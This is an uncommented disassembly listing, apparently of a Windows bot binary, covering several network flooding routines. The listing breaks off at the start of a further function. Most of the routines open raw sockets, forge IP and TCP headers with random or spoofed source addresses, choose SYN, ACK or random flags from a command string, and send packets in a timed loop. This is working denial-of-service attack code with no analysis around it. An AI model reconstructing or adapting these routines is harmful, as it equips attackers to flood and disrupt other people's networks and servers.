; Attributes: bp-based frame


sub_41469B	proc near		; CODE XREF: sub_4145F8+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Src		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4E310C	; gethostname
		push	[ebp+var_4]
		call	dword_4E317C	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4E3178	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4E30D8	; setsockopt
		mov	esi, 200h
		push	esi		; Size
		call	_malloc
		mov	edi, ds:dword_4F537C
		pop	ecx
		mov	[ebp+Memory], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4E30F8	; htons
		mov	[ebp+var_96], ax

loc_4147B6:				; CODE XREF: sub_41469B+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_41489C
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	_rand
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	_rand
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+Src], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	_rand
		mov	[ebp+var_20], ax
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4E30F8	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4E30F8	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	_rand
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	[ebp+Memory]	; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+Memory]
		push	[ebp+var_4]
		call	dword_4E315C	; sendto
		jmp	loc_4147B6
; ---------------------------------------------------------------------------

loc_41489C:				; CODE XREF: sub_41469B+12Cj
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41469B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148B6	proc near		; DATA XREF: sub_401CC7+5469o

Dest		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
Str		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_4F537C
		call	edi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4E3178	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_41497F
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CE88 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41495F
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D34
		add	esp, 14h

loc_41495F:				; CODE XREF: sub_4148B6+84j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_BC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_41497F:				; CODE XREF: sub_4148B6+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4149FD
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CEBC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4149DD
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D34
		add	esp, 14h

loc_4149DD:				; CODE XREF: sub_4148B6+102j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_BC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4149FD:				; CODE XREF: sub_4148B6+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414A6D
		lea	eax, [ebp+Dest]
		push	offset asc_44CEF4 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414A4D
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D34
		add	esp, 14h

loc_414A4D:				; CODE XREF: sub_4148B6+172j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_BC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_414A6D:				; CODE XREF: sub_4148B6+157j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	ebx
		call	dword_4E30F8	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax

loc_414AA5:				; CODE XREF: sub_4148B6+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_414D69
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4E30F8	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414B18
		call	_rand
		mov	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		shl	esi, 8
		call	_rand
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_414B2E
; ---------------------------------------------------------------------------

loc_414B18:				; CODE XREF: sub_4148B6+233j
		push	[ebp+var_240]
		call	sub_40AF71
		pop	ecx
		push	eax
		call	dword_4E3138	; inet_addr
		mov	[ebp+var_20], eax

loc_414B2E:				; CODE XREF: sub_4148B6+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414B4C
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414B52
; ---------------------------------------------------------------------------

loc_414B4C:				; CODE XREF: sub_4148B6+284j
		push	[ebp+var_B8]

loc_414B52:				; CODE XREF: sub_4148B6+294j
		call	dword_4E30F8	; htons
		mov	[ebp+var_16], ax
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E30F8	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4E30F4	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Str]
		push	offset aSyn_1	; "syn"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414BA2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414BFE
; ---------------------------------------------------------------------------

loc_414BA2:				; CODE XREF: sub_4148B6+2E1j
		lea	eax, [ebp+Str]
		push	offset aAck_0	; "ack"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414BC2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414BFE
; ---------------------------------------------------------------------------

loc_414BC2:				; CODE XREF: sub_4148B6+301j
		lea	eax, [ebp+Str]
		push	offset aRandom_2 ; "random"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414BFE
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_414BFE:				; CODE XREF: sub_4148B6+2EAj
					; sub_4148B6+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4E30F8	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4E30F8	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4E315C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414CEB
		inc	[ebp+arg_0]
		jmp	loc_414AA5
; ---------------------------------------------------------------------------

loc_414CEB:				; CODE XREF: sub_4148B6+42Bj
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44CF24 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414D49
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D34
		add	esp, 14h

loc_414D49:				; CODE XREF: sub_4148B6+46Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_BC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_414D69:				; CODE XREF: sub_4148B6+203j
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CF74 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414DDA
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409D34
		add	esp, 14h

loc_414DDA:				; CODE XREF: sub_4148B6+4FFj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_BC]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
sub_4148B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DFA	proc near		; CODE XREF: sub_414F04+19Ap
					; sub_414F04+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_414E26
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414E18:				; CODE XREF: sub_414DFA+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414E18
		pop	edi
		cmp	eax, 1

loc_414E26:				; CODE XREF: sub_414DFA+12j
		jnz	short loc_414E33
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax

loc_414E33:				; CODE XREF: sub_414DFA:loc_414E26j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414DFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E4C	proc near		; DATA XREF: sub_401CC7+6DCAo

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E3138	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414F04
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CFC4 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414EE7
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409D34
		add	esp, 14h

loc_414EE7:				; CODE XREF: sub_414E4C+79j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
sub_414E4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F04	proc near		; CODE XREF: sub_414E4C+54p

Dest		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
Src		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
Dst		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, ds:dword_4F537C
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4E3178	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		mov	edi, 578h
		push	edi		; Size
		push	9
		push	1
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	esi, 5A0h

loc_414F5E:				; CODE XREF: sub_414F04+235j
		call	ds:dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_41513E
		cmp	dword_4E68F0, ebx
		jnz	short loc_414FDD
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax		; Size
		lea	eax, [ebp+var_68]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E309C	; getsockname
		push	0FFh
		push	1
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_414FF0
; ---------------------------------------------------------------------------

loc_414FDD:				; CODE XREF: sub_414F04+7Ej
		lea	eax, [ebp+Dest]
		push	offset byte_4E62D0 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx

loc_414FF0:				; CODE XREF: sub_414F04+D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4E30F8	; htons
		mov	[ebp+var_52], ax
		call	_rand
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	_rand
		mov	[ebp+var_40], ax
		call	_rand
		mov	[ebp+var_3E], ax
		call	_rand
		mov	[ebp+var_3C], eax
		call	_rand
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_414DFA
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_414DFA
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	ds:dword_4F552C	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_40]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_8C]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_414DFA
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4E315C	; sendto
		inc	[ebp+var_4]
		jmp	loc_414F5E
; ---------------------------------------------------------------------------

loc_41513E:				; CODE XREF: sub_414F04+72j
		push	[ebp+var_8]
		call	dword_4E3190	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414F04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41514F	proc near		; DATA XREF: sub_401CC7+4D40o

Dest		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4151C6
		add	esp, 214h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D004 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		add	esp, 14h
		push	0
		call	ds:dword_4F53A0	; ExitThread
sub_41514F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4151C6(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_4151C6	proc near		; CODE XREF: sub_41514F+3Bp

Dest		= byte ptr -254h
var_54		= byte ptr -54h
Dst		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
Str		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
